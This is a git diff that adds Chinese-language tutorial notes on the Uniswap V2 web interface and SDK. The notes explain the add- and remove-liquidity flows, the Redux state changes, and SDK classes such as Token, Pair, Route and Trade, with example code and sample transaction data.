+   - 以上是 V2 的查询流程，程序中还会查看 V1 的池子
+   - V1 的查询比较简单，因为所有交易对都是 tokne 和 ETH 的配对
+   - 直接从 v1factory 合约调用 `getExchange` 方法，拿到所有交易对然后去遍历查询余额
+   - 筛选出第一个有余额的 V1 池子，即判断用户有无 V1 池子
+   - 如果有，界面上会提醒用户升级到 V2
+
+6. 筛选出有余额的池子，展示池子列表
+
+## AddLiquidity
+
+用户向池子添加流动性，若池子不存在会直接创建
+
+### 涉及的源码
+
+- `AddLiquidityPage`: src/pages/AddLiquidity/index.tsx
+- `useMintState`, `useDerivedMintInfo`, `useMintActionHandlers`: src/state/mint/hooks.ts
+- `onAdd`: src/pages/AddLiquidity/index.tsx
+
+详细代码解析请戳这里 :point_right: [AddLiquidity 代码解析](./Code.md#AddLiquidity)
+
+### init state
+
+```ts
+mint: {
+  independentField: 'CURRENCY_A',
+  typedValue: '',
+  otherTypedValue: ''
+},
+multicall: {},
+transactions: {}
+```
+
+### 交互流程
+
+1. 进入`./add`路由，首先会解析路由后跟的参数，自动加载 token 信息（地址，余额等等）
+   - 路由后的参数是由 token 地址组成的分三种情况：
+     - 没有 token
+     - `/{tokenA_Address}`
+     - `/{tokenA_Address}/{tokenB_Address}`
+2. 用户输入数量 `inputAmountB`，`useMintState` 返回用户的输入
+
+   - 输入框打字会触发 `mint/typeInputMint` 事件，Mint state 更新状态
+
+   ```ts
+   // 用户在第二个输入框输入10
+   mint: {
+     independentField: 'CURRENCY_B', // 变为CURRENCY_B
+     typedValue: '10',
+     otherTypedValue: ''
+   },
+   ```
+
+3. 判断输入数值是否超过了 token 的授权数量，此时会向 token 合约发送查询对于 router 合约的 allowance，approve 过程 [参见 ApproveToken](#ApproveToken)
+
+4. 输入数值的变化触发 `useDerivedMintInfo` 自动计算另一侧 token 需要输入的数量及预测用户能得到的流动性数量
+
+   - 调用 sdk 的 `@uniswap/sdk/Pair.getAddress(tokenA, tokenB)` 本地计算出池子地址
+   - 使用 Multicall 模块的 `useSingleCallResult` 查询池子合约的 `totalSupply` 方法，得到池子的流动性总数量
+
+     ```ts
+     // 调用 totalSupply 方法
+     multicall: {
+       '4': {
+         callListeners: {
+           ...
+           // HH-ETH pair 地址 - totalSupply methodid
+           '0x25c1CF39598DdD67bD68cA9e52f0c861D9Bf4c70-0x18160ddd': {
+             '1': 2
+           }
+         }
+       }
+     }
+     ```
+
+     ```ts
+     //  得到 totalSupply 结果
+     multicall: {
+       '4': {
+         callResults: {
+           ...
+           '0x25c1CF39598DdD67bD68cA9e52f0c861D9Bf4c70-0x18160ddd': {
+             data: '0x00000000000000000000000000000000000000000000000000000004ae1d12b5',
+             blockNumber: 9134820
+           },
+         }
+       }
+     }
+
+     ```
+
+   - 判断该池子是否未创建或流动性数量为 0
+   - @uniswap/v2-sdk/TokenAmount 类型包装输入数值
+   - 调用 sdk 计算数值计算另一侧的数量
+
+     - @uniswap/v2-sdk/Pair.priceOf(token).quote(inputAmount)
+     - 首先 `priceOf()` 得到价格
+     - 用价格 \* 当前的输入数值 = 另一侧 token 的数量， 输入 tokenB，就用 priceA，反之亦然
+     - 这里解释一下公式，假设用户输入了 `inputAmountB` 求 `inputAmountA`
+
+     ```math
+     // 价格就是两个token总量的比值
+     priceA = reserveB / reserveA
+     // 保证新增比例一样，才能保持池子的价格不变
+     inputAmountB / reserveB = inputAmountA / reserveA
+     // 于是我们就能求inputAmountA
+     inputAmountA = inputAmountB / reserveB * reserveA = inputAmountB * priceA
+     ```
+
+   - 计算当前池子的价格，显示在界面上
+   - 计算用户预计可以得到的流动性数量
+     - @uniswap/v2-sdk/Pair.getLiquidityMinted()
+     - 本地计算用户预计能够得到的流动性数量
+     - 将两种 token 数量分别带入公式计算，取最小值
+     - liquidity = inputAmount / reserve \* totalLiquidity
+     - 如果是新建池子则 inputAmountA \* inputAmountB - MINIMUM_LIQUIDITY
+
+5. 用户点击 `Supply` 按钮添加流动性，点击确认弹窗
+6. `onAdd()` 先预执行交易，再真实发送添加流动性的交易
+
+   - 根据用户设置的滑点百分比计算最少需要添加的 token 数量(少于这个数量会添加失败)
+   - 分析 token 种类，包含 eth 调用 router 合约的 `addLiquidityETH` ，其他调用 `addLiquidity`
+   - 合成调用参数，token 地址需要升序排列
+   - 打开交易进行中的提示弹窗
+   - 将交易记录推入 Transaction State ，监听交易结果
+   - 这里会忽略错误码为 4001 的交易报错，这代表用户在钱包确认阶段拒绝了交易
+
+   ```ts
+   transactions: {
+     '4': {
+       '0x618820509d3d93a9fab799322a1671e2efed7c9c0273d673ea834be7f93a721f': {
+         hash: '0x618820509d3d93a9fab799322a1671e2efed7c9c0273d673ea834be7f93a721f',
+         summary: 'Add 0.102 ETH and 100 HH',
+         from: '0xe45d43FEb3F65B4587510A68722450b629154e6f',
+         addedTime: 1629266981813,
+         lastCheckedBlockNumber: 9135086
+       }
+     }
+   }
+   ```
+
+7. 交易确认，用户收到确认提示窗
+
+   ```ts
+   transactions: {
+     '4': {
+       '0x618820509d3d93a9fab799322a1671e2efed7c9c0273d673ea834be7f93a721f': {
+           hash: '0x618820509d3d93a9fab799322a1671e2efed7c9c0273d673ea834be7f93a721f',
+           summary: 'Add 0.102 ETH and 100 HH',
+           from: '0xe45d43FEb3F65B4587510A68722450b629154e6f',
+           addedTime: 1629266981813,
+           lastCheckedBlockNumber: 9135086,
+           // 新增交易结果和确认时间戳
+           receipt: {
+             blockHash: '0xb1d4344f79f556848ce4221eb614f3d3e163cfa517ea43a09ea92f4a59c88bc0',
+             blockNumber: 9135087,
+             contractAddress: null,
+             from: '0xe45d43FEb3F65B4587510A68722450b629154e6f',
+             status: 1,
+             to: '0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D',
+             transactionHash: '0x618820509d3d93a9fab799322a1671e2efed7c9c0273d673ea834be7f93a721f',
+             transactionIndex: 10
+           },
+           confirmedTime: 1629267005284
+         }
+       }
+     }
+   }
+   ```
+
+## RemoveLiquidity
+
+移除流动性
+
+### 涉及的源码
+
+- `RemoveLiquidityPage`: src/pages/RemoveLiquidity/index.tsx
+- `useBurnState`, `useDerivedBurnInfo`, `useBurnActionHandlers`: src/state/burn/hooks.ts
+- `onAttemptToApprove`, `onRemove`: src/pages/RemoveLiquidity/index.tsx
+
+详细代码解析请戳这里 :point_right: [RemoveLiquidity 代码解析](./Code.md#RemoveLiquidity)
+
+### init state
+
+```ts
+burn: {
+  independentField: 'LIQUIDITY_PERCENT',  // LIQUIDITY_PERCENT | LIQUIDITY | CURRENCY_A | CURRENCY_B
+  typedValue: ''  //  用户的输入数值
+},
+multicall: {},
+transactions: {}
+```
+
+### 交互流程
+
+1. 移除流动性在用户输入数据环节和添加流动性不同
+
+   - 移除有两种模式
+   - Simple mode : 用户直接拖动滑块控制 `typedValue`
+   - Detail mode 有两种种情况：
+     - 用户直接输入移除的流动性数量(这里是`HH:WETH`栏)，`independentField` 变成 `LIQUIDITY`
+     - 用户直接输入要移除的 token 数量，`independentField` 变成 `CURRENCY_A | CURRENCY_B`
+
+   ```ts
+   // 拖动滑块输入百分比
+   burn: {
+     independentField: 'LIQUIDITY_PERCENT',
+     typedValue: '25'
+   }
+   // 直接输入流动性数量
+   burn: {
+     independentField: 'LIQUIDITY',
+     typedValue: '0.0000000175505'
+   }
+   // 直接输入tokenA数量
+   burn: {
+     independentField: 'CURRENCY_A',
+     typedValue: '10.6'
+   }
+   ```
+
+2. 输入的变化会触发 `useDerivedBurnInfo` 更新移除流动性的数据，自动计算要移除的百分比，流动性数量，token 数量
+
+   - 过程和添加流动性类似
+   - 主要区别在于区别输入模式不同的三种情况
+
+3. 输入的变化还会导致清空 `signatureData`，这是存储钱包签名的字段，界面会显示两个按钮 `Approve` 和 `Remove`，后者现在是置灰状态
+
+4. 点击`Approve`按钮，调用 `onAttemptToApprove` 生成 v,r,s 签名，存入 `signatureData`，界面显示签名成功状态，此时未发交易
+
+5. 点击`Remove`按钮，调用 `onRemove`，发送移除交易，向 Transaction state 推送交易记录，并监听结果,过程和添加流动性类似
+
+   ```ts
+   transactions: {
+     '4': {
+       '0xc06106f4de3c1192ceccd8fe7692ee48621f87e2d6a37330522546a89c18c366': {
+         hash: '0xc06106f4de3c1192ceccd8fe7692ee48621f87e2d6a37330522546a89c18c366',
+         summary: 'Remove 49.5 HH and 0.0506 ETH',
+         from: '0xe45d43FEb3F65B4587510A68722450b629154e6f',
+         addedTime: 1629279660975,
+         lastCheckedBlockNumber: 9135930,
+         receipt: {
+           blockHash: '0xec98d54353ab2f5985837f26d956cead77917e37904397063a757de960b62463',
+           blockNumber: 9135932,
+           contractAddress: null,
+           from: '0xe45d43FEb3F65B4587510A68722450b629154e6f',
+           status: 1,
+           to: '0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D',
+           transactionHash: '0xc06106f4de3c1192ceccd8fe7692ee48621f87e2d6a37330522546a89c18c366',
+           transactionIndex: 9
+         },
+         confirmedTime: 1629279682092
+       }
+     }
+   }
+   ```
diff --git a/defi/Uniswap-V2/Interface/minimap.md b/defi/Uniswap-V2/Interface/minimap.md
new file mode 100644
index 000000000..5ea2c9006
--- /dev/null
+++ b/defi/Uniswap-V2/Interface/minimap.md
@@ -0,0 +1,99 @@
+# 小地图
+
+> 本小结作为主题讲解补充是对 [react](https://zh-hans.reactjs.org/), [Redux](https://redux.js.org/) 相关概念的快速讲解。
+
+## 制作小地图原因：
+
+v2 的前端版本使用很多插件，尤其是 Redux 而本地图指南重点讲解 Redux 起什么作用，这对非前端或者没用过 react 的同学会有帮助
+
+## 不得不说的内容
+
+```
+Redux
+诞生原因：实现复杂应用的 “状态/数据” 管理
+三大原则:
+  1. 单一的事件源
+  2. 状态(state)是只读的
+  3. 使用纯函数进行更改
+
+我们在此使用`@reduxjs/toolkit`包来获取更加便捷的体验
+```
+
+## 制作小地图原因 2：
+
+v2 的前端用户交互事件与后端（链）是解耦的，你不会看到这样的代码
+“点击触发一个事件请求后端获取数据，绑定数据”
+实现解耦关键是使用了 Redux 做“数据”管理
+
+设计思想：使用 Redux 存储数据，让数据被监听，当数据变化时请求后端，拿到结果（拿到结果必然也会修改当前数据状态），重新绑定数据绘制 UI
+
+## 简单的 demo 代码（这代码举例 reducer 的基本套路用法，看明白这个，v2 源码中很多代码你也看懂了）
+
+```
+// 通过向configureStore配置所需的reducer来进行状态的管理
+import { configureStore } from '@reduxjs/toolkit'
+configureStore({
+  reducer: {application},
+})
+```
+
+```
+// 构建存储对象(state)
+import { createReducer } from '@reduxjs/toolkit'
+import { createAction } from '@reduxjs/toolkit'
+
+let storeItem = {title: ""} // 定义用作存储的数据结构, 同时初始化值
+
+// function createAction(type, prepareAction?)
+// 我们在此处传入了Action type, 返回值为一个指定类型的<{title: string}>action creator, 可以在createReducer中使用
+export const updateBlockNumber = createAction<{title: string}>('application/updateBlockNumber')
+
+export default createReducer(storeItem, builder =>
+    builder.addCase(
+        // 此方法会区分 Action type字段的大小写
+        updateBlockNumber,
+        // state 为当前的最新的状态
+        // 所有action 都包含 type 和 payload:
+        //  type 为我们createAction传入的值
+        //  payload 为负载, 即我们期望更新的数据. 可以通过后面说的dispatch方法设置
+        (state, action) => {
+
+        const { title } = action.payload
+        return {
+            ...state,     //保留旧值（此处照做）
+            "title":title,//返回新值（也就是我们希望的效果：修改值）
+        }
+    })
+
+);
+```
+
+```
+// 最基本使用案例
+
+import { useSelector, useDispatch } from 'react-redux'
+import { configureStore } from '@reduxjs/toolkit'
+
+// 新建一个store 并且设置初始值
+const store = configureStore({
+  reducer: {application},
+})
+
+// 获取所有的 state
+store.getState()
+
+// 修改state的值
+store.dispatch(updateBlockNumber({title:"修改的其值"}))
+// 或者
+const dispatch = useDispatch()
+dispatch(updateBlockNumber({title:"修改的其值"}))
+
+
+// 使用useSelector截取state任意部分的数据 同 store.getState() 是一回事，只不过 store.getState() 是全部数据
+const application = useSelector(state => state.application)
+// 之后可以通过 application.title 查看当前title的值
+
+useEffect(()=>{
+    //发送变化，todo
+},[某些监听,的状态,值])
+```
diff --git a/defi/Uniswap-V2/Interface/readme.md b/defi/Uniswap-V2/Interface/readme.md
new file mode 100644
index 000000000..7b0a077ca
--- /dev/null
+++ b/defi/Uniswap-V2/Interface/readme.md
@@ -0,0 +1,95 @@
+# UniswapV2 Interface Guide
+
+> Interface 是 User Interface 的含义，此为Uniswap网站的代码，包括token交易,添加和移除流动性等功能。<br>
+> 代码分析使用版本 `tag 3.2.7`<br>
+
+## 技术栈
+
+主要使用的技术栈
+
+- 搭建框架 `React`,  `React-dom`, `React-router-dom`
+- 状态管理 `react-redux`, `@reduxjs/toolkit`, 
+- Web3 `ethers`,  `typechain`, `@web3-react`
+- Uniswap相关依赖 `sdk-core`, `v2-core`, `v2-periphery`, `token-list`, `liquidity-staker` ...
+- 缓存管理 `workbox`
+- UI 样式、动效、组件、图标、字体、数据展示、语言国际化、交互事件、色彩、文档等
+- 工具类
+
+
+了解详细的技术栈图示请戳这里 :point_right:[Interface 技术栈详细图示](./xmind/Stacks.png)
+
+## 需要提前了解的知识点
+
+- [React Hooks](https://zh-hans.reactjs.org/docs/hooks-intro.html)
+- [Reduxjs Toolkit (Redux的官方工具集)](https://redux-toolkit.js.org/introduction/getting-started)
+- [TypeScript](https://www.typescriptlang.org/docs/handbook/intro.html)
+- [@web3-react](https://github.com/NoahZinsmeister/web3-react)
+- [Ethers.js-v5](https://docs.ethers.io/v5/)
+
+## 内容导航
+
+### State数据的结构
+
+![状态数据的结构-min](./xmind/State-min.png)
+
+从状态管理(State)的角度来看，主要分为六个部分：
+
+- UserSate 用户的钱包数据，使用习惯，自定义token和自定义交易对等信息
+- User Interface 用户的交互界面状态，主要是 swap 和 添加/删除流动性 的操作产生的数据变化
+- Multicall 使用链上的Multicall合约进行批量请求的模块，其具备以下特点：
+    - 针对请求的三个要素(合约地址/调用方法/调用参数)进行归档并建立追踪机制
+        - 请求失败自动重连
+        - 监听相关状态的改变(如区块高度，chainid变化)，及时取消无用的请求，及时更新过期的数据
+    - 批量化请求
+        - 将不同请求合并为一个个批次同时发送，节省gas费用
+        - 保证每个请求批次不会超过最大gas限制
+    - 这也是相对复杂的一个模块
+- TokenList 从其他服务器获取交易用的token列表，用户可自定义获取的节点，如 Gemini Token List
+- Govemance 社区治理模块
+- Application 存储当前区块高度，弹窗数据
+
+了解详细的状态数据结构图请戳这里 :point_right: [状态数据的结构-详细](./xmind/State.png)
+
+#### Multicall State 解析
+
+- Multicall Contract
+- State 结构
+- Reducer 初始值和规定触发state事件的方法
+- Updater 更新state的具体逻辑
+- Hooks 页面中实际使用Multicall模块的钩子函数
+
+详细解析请戳这里 :point_right: [Multicall模块解析](./Multicall.md)
+
+### 用户使用流程及State的变化
+
+追踪交互动作与状态数据变化的关系，可以帮助我们更好的理解程序运行的逻辑
+
+- 添加自定义的token流程
+- Swap交易流程
+- WatchingTransaction 发送交易,及监听和更新的流程
+- Approve Token流程
+- PoolList 索引用户池子的流程
+- AddLiquidity 添加流动性的流程(add/mint)
+- RemoveLiquidity 移除流动性的流程
+
+详细解析请戳这里 :point_right: [V2的用户交互流程及状态变化](./UsageAndStates.md)
+
+### 代码解析
+
+- Swap
+- Transaction
+- PoolList
+- AddLiquidity
+- RemoveLiquidity
+
+详细解析请戳这里 :point_right: [V2 interface 代码解析](./Code.md)
+
+### 相关辅助数据
+
+请戳这里 :point_right: [辅助数据列表](./InfoList.md)
+
+
+## 相关引用
+
+- UniswapV2Interface 源码地址：https://github.com/Uniswap/uniswap-interface/tree/v3.2.7
+- [催眠大师]手把手教你开发去中心化交易所-Uniswap交易所开发课程：https://www.youtube.com/watch?v=38mVbslZpS4
diff --git a/defi/Uniswap-V2/Interface/xmind/Multicall-min.png b/defi/Uniswap-V2/Interface/xmind/Multicall-min.png
new file mode 100644
index 000000000..7f6fbb2be
Binary files /dev/null and b/defi/Uniswap-V2/Interface/xmind/Multicall-min.png differ
diff --git a/defi/Uniswap-V2/Interface/xmind/Multicall.png b/defi/Uniswap-V2/Interface/xmind/Multicall.png
new file mode 100644
index 000000000..27e5977fb
Binary files /dev/null and b/defi/Uniswap-V2/Interface/xmind/Multicall.png differ
diff --git a/defi/Uniswap-V2/Interface/xmind/Stacks.png b/defi/Uniswap-V2/Interface/xmind/Stacks.png
new file mode 100644
index 000000000..610b7ada2
Binary files /dev/null and b/defi/Uniswap-V2/Interface/xmind/Stacks.png differ
diff --git a/defi/Uniswap-V2/Interface/xmind/State-min.png b/defi/Uniswap-V2/Interface/xmind/State-min.png
new file mode 100644
index 000000000..30fe71939
Binary files /dev/null and b/defi/Uniswap-V2/Interface/xmind/State-min.png differ
diff --git a/defi/Uniswap-V2/Interface/xmind/State.png b/defi/Uniswap-V2/Interface/xmind/State.png
new file mode 100644
index 000000000..856678ce9
Binary files /dev/null and b/defi/Uniswap-V2/Interface/xmind/State.png differ
diff --git a/defi/Uniswap-V2/Interface/xmind/UniswapV2-Interface.xmind b/defi/Uniswap-V2/Interface/xmind/UniswapV2-Interface.xmind
new file mode 100644
index 000000000..c5b7244e1
Binary files /dev/null and b/defi/Uniswap-V2/Interface/xmind/UniswapV2-Interface.xmind differ
diff --git a/defi/Uniswap-V2/SDK/readme.md b/defi/Uniswap-V2/SDK/readme.md
new file mode 100644
index 000000000..ec1ab6dce
--- /dev/null
+++ b/defi/Uniswap-V2/SDK/readme.md
@@ -0,0 +1,664 @@
+### 背景
+
+- 看了下 V2 SDK，核心是为满足部分请求、操作链上数据场景的公共需求而设计，服务于基于 UniSwap 构建应用场景，或者一些快速开发的 Hackthon 场景，因此直接选取官方版本。
+- 从 Quick start 开始给大家做介绍。
+
+#### SDK 结构
+
+- 核心是三个部分：pair、route、trade，服务于外部业务的调用，提供 Token 信息、交易对输入输出信息、交易过程数据、最优路径等等方面功能服务。
+
+#### Start
+
+- https://docs.uniswap.org/sdk/2.0.0/guides/quick-start
+
+- yarn add @uniswap/sdk
+- 目前两个场景获取链上信息
+- 1.获取/操作 Token 相关信息/数据
+
+```
+constructor(chainId: ChainId, address: string, decimals: number, symbol?: string, name?: string)
+```
+
+- 必填参数 3 个：
+  **chainId** &nbsp;&nbsp;&nbsp;&nbsp;-> &nbsp;&nbsp;目标链的 Id
+  **address** &nbsp;&nbsp;&nbsp;-> &nbsp;&nbsp;token 的地址
+  **decimals** &nbsp;-> &nbsp;&nbsp;token 的精度
+- 可选参数：
+  **symbol** &nbsp;&nbsp;-> &nbsp;&nbsp;token 的标识 / 符号
+  **name** &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-> &nbsp;&nbsp;token 的名字
+
+```
+import { ChainId, Token } from "@uniswap/sdk";
+
+const chainId = ChainId.MAINNET;
+const tokenAddress = "0x6B175474E89094C44Da98b954EedeAC495271d0F"; // DAI,must be checksummed
+const decimals = 18; //精度
+
+const DAI = new Token(chainId, tokenAddress, decimals);
+// 注： 初始化token的参数是按照严格顺序的，如果你想不设置token的symbol
+//     只传入name的话，需要用 undefined 填充 symbol 的位置
+// 例： const DAI = new Token(chainId, tokenAddress, decimals, undefined, name);
+```
+
+#### 获取数据
+
+1.Token 的数据
+
+- 通过使用构造函数 `new Token` 基于用户提供的数据创建
+- 根据 SDK 提供的 [Fetcher](#Fetcher) 的 `fetchTokenData` 方法异步获取
+
+2.获取交易对数据
+需要客户提供数据基础上获取，多个场景需要
+
+- 通过使用构造函数 `new Pair` 基于用户提供的数据创建
+- 根据 SDK 提供的 [Fetcher](#Fetcher) 的 `fetchPairData` 方法异步获取
+
+#### 价格
+
+价格分为 Mid Price 和 Excution Price。
+
+对于 Mid Price，是反映一个或多个交易对保有率（ratio of reserves）的价格。
+
+以 DAI-WETH 为例：
+
+1. 通过`DAI/WETH`交易对直接获取价格
+
+```
+import { ChainId, Token, WETH, Fetcher, Route } from "@uniswap/sdk";
+
+const DAI = new Token(
+  ChainId.MAINNET,
+  "0x6B175474E89094C44Da98b954EedeAC495271d0F",
+  18
+);
+
+// note that you may want/need to handle this async code differently,
+// for example if top-level await is not an option
+const pair = await Fetcher.fetchPairData(DAI, WETH[DAI.chainId]);
+
+const route = new Route([pair], WETH[DAI.chainId]);
+
+console.log(route.midPrice.toSignificant(6)); // 201.306
+console.log(route.midPrice.invert().toSignificant(6)); // 0.00496756
+```
+
+2. 间接获取
+   当直接对应的`DAI/WETH`交易对不存在时，通过获取与目标`token`直接或者间接有关联的`token`组成的交易对（ 示例中是：`USDC/WETH`，`DAI/USDC` ），根据`Route`构造交易路径来间接获取价格
+
+```
+import { ChainId, Token, WETH, Fetcher, Route } from "@uniswap/sdk";
+
+const USDC = new Token(
+  ChainId.MAINNET,
+  "0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48",
+  6
+);
+const DAI = new Token(
+  ChainId.MAINNET,
+  "0x6B175474E89094C44Da98b954EedeAC495271d0F",
+  18
+);
+
+// note that you may want/need to handle this async code differently,
+// for example if top-level await is not an option
+const USDCWETHPair = await Fetcher.fetchPairData(USDC, WETH[ChainId.MAINNET]);
+const DAIUSDCPair = await Fetcher.fetchPairData(DAI, USDC);
+
+const route = new Route([USDCWETHPair, DAIUSDCPair], WETH[ChainId.MAINNET]);
+
+console.log(route.midPrice.toSignificant(6)); // 202.081
+console.log(route.midPrice.invert().toSignificant(6)); // 0.00494851
+```
+
+对于执行价格（真实价格），即交易的执行价格，我们可以将其看作是一个 sent 比 received 的比率（the ratio of assets sent/received）。
+
+以一个 1 WETH for DAI 的交易为例：
+
+```
+import {
+  ChainId,
+  Token,
+  WETH,
+  Fetcher,
+  Trade,
+  Route,
+  TokenAmount,
+  TradeType,
+} from "@uniswap/sdk";
+
+const DAI = new Token(
+  ChainId.MAINNET,
+  "0x6B175474E89094C44Da98b954EedeAC495271d0F",
+  18
+);
+
+// note that you may want/need to handle this async code differently,
+// for example if top-level await is not an option
+const pair = await Fetcher.fetchPairData(DAI, WETH[DAI.chainId]);
+
+const route = new Route([pair], WETH[DAI.chainId]);
+
+const trade = new Trade(
+  route,
+  new TokenAmount(WETH[DAI.chainId], "1000000000000000000"),
+  TradeType.EXACT_INPUT
+);
+
+console.log(trade.executionPrice.toSignificant(6));
+console.log(trade.nextMidPrice.toSignificant(6));
+```
+
+#### 交易
+
+直接发送交易到 Router：
+用`1 WETH` 兑换尽可能多的 `DAI`
+
+```
+import {
+  ChainId,
+  Token,
+  WETH,
+  Fetcher,
+  Trade,
+  Route,
+  TokenAmount,
+  TradeType,
+} from "@uniswap/sdk";
+
+const DAI = new Token(
+  ChainId.MAINNET,
+  "0x6B175474E89094C44Da98b954EedeAC495271d0F",
+  18
+);
+
+// note that you may want/need to handle this async code differently,
+// for example if top-level await is not an option
+const pair = await Fetcher.fetchPairData(DAI, WETH[DAI.chainId]);
+
+const route = new Route([pair], WETH[DAI.chainId]);
+
+const amountIn = "1000000000000000000"; // 1 WETH
+
+const trade = new Trade(
+  route,
+  new TokenAmount(WETH[DAI.chainId], amountIn),
+  TradeType.EXACT_INPUT
+);
+```
+
+#### 交易对地址
+
+1.直接获取
+通过调用工厂合约的 [getPair](https://docs.uniswap.org/protocol/V2/reference/smart-contracts/factory#getpair) 方法直接获取
+
+2.create2 获取
+使用这个方法有以下几个特点：
+
+- `token0` 的地址必须小于 `token1`
+- 可以离线计算
+- 需要当前环境可以执行 `keccak256` 方法
+
+```
+import { FACTORY_ADDRESS, INIT_CODE_HASH } from "@uniswap/sdk";
+import { pack, keccak256 } from "@ethersproject/solidity";
+import { getCreate2Address } from "@ethersproject/address";
+
+const token0 = "0xCAFE000000000000000000000000000000000000"; // change me!
+const token1 = "0xF00D000000000000000000000000000000000000"; // change me!
+
+const pair = getCreate2Address(
+  FACTORY_ADDRESS,
+  keccak256(["bytes"], [pack(["address", "address"], [token0, token1])]),
+  INIT_CODE_HASH
+);
+```
+
+### 引用范例
+
+#### 概述
+
+SDK 的依赖是对等依赖（peer dependencies），就是你如果没有单独安装，则需要单独安装，如果整体安装了，也就不需要了。这样做有两点好处：
+
+1. 防止项目安装了用不到的依赖 ( 例如依赖 @ethersproject/providers 和 @ethersproject/contracts，只有当我们要使用 `Fetcher` 时才需要安装 )。
+
+2. 防止我们安装 @ethersproject 时，引入了具有冲突版本的某些依赖。
+   简单来看，遇到依赖了 yarn 装下就行，我是这样理解的。
+
+以下是 SDK 的关键实体的使用：
+
+#### Token
+
+Token 的定义
+
+```
+constructor(chainId: ChainId, address: string, decimals: number, symbol?: string, name?: string)
+```
+
+特定链的特定地址的 Token，ERC20
+
+```
+import { ChainId, Token } from "@uniswap/sdk";
+
+const token = new Token(
+  ChainId.MAINNET,
+  "0xc0FFee0000000000000000000000000000000000",
+  18,
+  "HOT",
+  "Caffeine"
+);
+```
+
+**核心的属性包括：**
+
+- chainId
+- address
+- decimals
+- symbol
+- name
+
+**方法包括**
+
+- equals
+  `equals(other: Token): boolean`
+  - 检测当前的 token 是否与给定的 token 相同
+    ```
+    tokenA.equals(tokenB)
+    ```
+- sortsBefore
+  `sortsBefore(other: Token): boolean`
+  - 检查当前 token 的地址是否在另一个之前
+    ```
+    tokenA.sortsBefore(tokenB)
+    ```
+
+#### Pair
+
+交易对实体，代表一个 Uniswap 交易对，其中保存了对应的每个 token 的余额
+
+```
+constructor(tokenAmountA: TokenAmount, tokenAmountB: TokenAmount)
+```
+
+使用范例
+
+```
+import { ChainId, Token, TokenAmount, Pair } from "@uniswap/sdk";
+
+const HOT = new Token(
+  ChainId.MAINNET,
+  "0xc0FFee0000000000000000000000000000000000",
+  18,
+  "HOT",
+  "Caffeine"
+);
+const NOT = new Token(
+  ChainId.MAINNET,
+  "0xDeCAf00000000000000000000000000000000000",
+  18,
+  "NOT",
+  "Caffeine"
+);
+
+const pair = new Pair(
+  new TokenAmount(HOT, "2000000000000000000"),
+  new TokenAmount(NOT, "1000000000000000000")
+);
+
+```
+
+**关键属性**
+
+- **liquidityToken** -> 代表交易对流动性的 token
+- token0
+- token1
+- reserve0
+- reserve1
+
+**方法**
+
+- **reserveOf** -> 根据传入的 token 返回在 pair 中对应的余额
+- getOutputAmount
+- getInputAmount
+- **getLiquidityMinted** -> 根据特定数量的 token0 和 token1 计算可铸造的流动性 token 的确切数量。
+- **getLiquidityValue** -> 根据特定数量的流动性 token 计算所需的 token0 或 token1 的确切数量。
+
+```
+getLiquidityValue(
+  token: Token,
+  totalSupply: TokenAmount,
+  liquidity: TokenAmount,
+  feeOn: boolean = false,
+  kLast?: BigintIsh
+): TokenAmount
+```
+
+**静态方法**
+
+- getAddress
+  获取传入 token 的交易对地址
+  ```
+  getAddress(tokenA: Token, tokenB: Token): string
+  ```
+
+#### Route
+
+```
+constructor(pairs: Pair[], input: Token)
+```
+
+根据输入 token 和输出 token 参数，给出 input 到 output 的一个或者多个特定 Uniswap 交易对路径。
+
+例子如下：
+
+```
+import { ChainId, Token, TokenAmount, Pair, Route } from "@uniswap/sdk";
+
+const HOT = new Token(
+  ChainId.MAINNET,
+  "0xc0FFee0000000000000000000000000000000000",
+  18,
+  "HOT",
+  "Caffeine"
+);
+const NOT = new Token(
+  ChainId.MAINNET,
+  "0xDeCAf00000000000000000000000000000000000",
+  18,
+  "NOT",
+  "Caffeine"
+);
+const HOT_NOT = new Pair(
+  new TokenAmount(HOT, "2000000000000000000"),
+  new TokenAmount(NOT, "1000000000000000000")
+);
+
+const route = new Route([HOT_NOT], NOT);
+```
+
+**关键属性**
+
+- **pairs** -> 经过排序后的交易路径中所有交易对
+- **path** -> 从输入 token 到输出 token 的完整交易路径
+- input
+- output
+- **midPrice** -> 返回交易路径过程中的中间价位
+
+#### Trade
+
+交易实体代表沿着特定 route 的执行一次 Tx，包含所有参数信息。
+
+```
+constructor(route: Route, amount: TokenAmount, tradeType: TradeType)
+```
+
+使用范例
+
+```
+import {
+  ChainId,
+  Token,
+  TokenAmount,
+  Pair,
+  TradeType,
+  Route,
+} from "@uniswap/sdk";
+
+const HOT = new Token(
+  ChainId.MAINNET,
+  "0xc0FFee0000000000000000000000000000000000",
+  18,
+  "HOT",
+  "Caffeine"
+);
+const NOT = new Token(
+  ChainId.MAINNET,
+  "0xDeCAf00000000000000000000000000000000000",
+  18,
+  "NOT",
+  "Caffeine"
+);
+const HOT_NOT = new Pair(
+  new TokenAmount(HOT, "2000000000000000000"),
+  new TokenAmount(NOT, "1000000000000000000")
+);
+const NOT_TO_HOT = new Route([HOT_NOT], NOT);
+
+const trade = new Trade(
+  NOT_TO_HOT,
+  new TokenAmount(NOT, "1000000000000000"),
+  TradeType.EXACT_INPUT
+);
+```
+
+**关键属性**
+
+- route
+- tradeType
+- inputAmount
+- outputAmount
+- **executionPrice** -> 交易执行时的平均价格
+- **nextMidPrice** -> 如果交易执行，新的中间价位
+- **slippage** -> 交易产生的滑点 ( 严格模式 > .30% )
+
+**方法**
+
+- minimumAmountOut（2.04 后）
+- maximumAmountIn（2.04 后）
+
+**静态方法**
+
+- bestTradeExactIn
+
+返回 TradeIn 方式的最大兑换数量结果（最低手续费），也就是最优兑换路径，包括 hop 数等，返回数据类型是 Trade 数组。
+感谢三火 check 指正~！
+
+```
+Trade.bestTradeExactIn(
+    pairs: Pair[],
+    amountIn: TokenAmount,
+    tokenOut: Token,
+    { maxNumResults = 3, maxHops = 3 }: BestTradeOptions = {}): Trade[]
+```
+
+- bestTradeExactOut
+
+#### Fractions
+
+作为后续拓展的分数类的基类。**不能直接使用。**
+
+```
+constructor(numerator: BigintIsh, denominator: BigintIsh = ONE)
+```
+
+**关键属性**
+
+都是 JSBI
+
+- numerator
+- denominator
+- quotient
+
+**方法**
+
+- invert
+- add
+- subtract
+- multiply
+- divide
+- **toSignificant** -> 将分数格式化为指定位数的有效数字
